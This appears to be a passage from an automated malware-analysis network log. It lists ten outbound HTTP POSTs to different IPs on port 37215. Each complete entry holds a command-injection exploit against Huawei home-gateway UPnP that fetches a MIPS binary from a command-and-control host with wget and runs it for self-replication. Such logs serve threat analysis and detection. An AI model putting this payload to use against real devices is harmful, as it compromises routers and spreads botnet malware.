63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.14	60678	156.100.4.160	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.524032116 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.14	37268	197.235.13.125	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.524897099 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.14	43358	156.20.24.103	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.526073933 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.14	49978	197.56.146.34	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.527067900 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.14	39694	197.19.239.208	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.528043985 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.14	42222	197.115.31.20	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.529175997 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.14	58528	197.78.132.32	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.530318022 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.14	41706	156.212.202.95	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.531768084 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.14	43118	197.61.137.233	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.532949924 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.14	34426	156.233.49.226	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.534041882 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet 